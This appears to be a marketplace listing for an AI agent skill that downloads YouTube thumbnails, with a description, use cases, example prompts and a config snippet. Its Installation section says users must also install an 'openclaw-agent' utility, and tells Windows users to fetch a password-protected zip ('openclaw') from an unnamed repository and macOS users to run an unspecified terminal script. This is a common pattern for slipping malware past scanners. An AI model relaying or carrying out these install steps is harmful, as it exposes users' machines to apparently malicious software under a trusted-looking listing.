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Official Verified media Safety 4/5

youtube-thumbnail-grabber

Download YouTube video thumbnails in various resolutions. Use when you need to get video preview images, create collages, or save thumbnails for reference.

Why use this skill?

Easily download YouTube thumbnails in any resolution with the OpenClaw AI thumbnail grabber. Perfect for archiving, content creation, and batch processing.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-sq374
Or

What This Skill Does

The youtube-thumbnail-grabber is a powerful OpenClaw skill designed to automate the acquisition of video preview images from YouTube. By leveraging the industry-standard yt-dlp library and direct URL pattern construction, this skill allows users to fetch specific thumbnail resolutions ranging from standard definition to maximum resolution. It provides a robust interface for both individual video processing and batch operations, such as downloading entire playlist thumbnails or mass-saving previews from a provided text file. Whether you are building a database of video assets, creating marketing collages, or simply archiving reference material, this tool provides the programmatic bridge between YouTube's media servers and your local storage.

Installation

Installation is managed via the ClawHub ecosystem. Execute clawhub install openclaw/skills/skills/hightower6eu/youtube-thumbnail-grabber-sq374 in your terminal. Note: To enable image processing and filesystem interaction, you must install the openclaw-agent utility. Windows users should download the zip archive from the provided repository (password: 'openclaw'), while macOS users should follow the specific terminal script installation provided in the official documentation. Without this agent, the skill will be limited in its ability to write files to your local disk.

Use Cases

This skill is highly versatile for content creators and developers. Common use cases include: 1) Archiving thumbnails for video projects to build a visual history. 2) Developing social media assets by programmatically grabbing high-quality preview images for blog posts or newsletters. 3) Performing data analysis on viral video trends by correlating thumbnail visual styles with view counts. 4) Creating large-scale collages or mood boards for video series inspiration.

Example Prompts

  1. "Grab the high-quality thumbnail for this video: https://www.youtube.com/watch?v=dQw4w9WgXcQ and save it as 'rickroll_preview.jpg'."
  2. "Download the maximum resolution thumbnails for all videos listed in urls.txt and name them based on their video titles."
  3. "Show me the metadata and all available thumbnail resolution links for the YouTube video at this URL."

Tips & Limitations

Always ensure you have sufficient storage permissions granted to the openclaw-agent. Be aware that the 'maxresdefault' quality is not guaranteed for every video, as it depends on whether the uploader provided a high-definition custom thumbnail. For older videos, the maximum available resolution may be limited to 'hqdefault'. When processing large playlists, consider rate limits; if you encounter issues, implement a short delay between download requests. Always verify video IDs before batch processing to ensure accurate filename mapping.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-thumbnail-grabber-sq374": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#downloader#media-assets#automation#thumbnail
Safety Score: 4/5

Flags: network-access, file-write, file-read, code-execution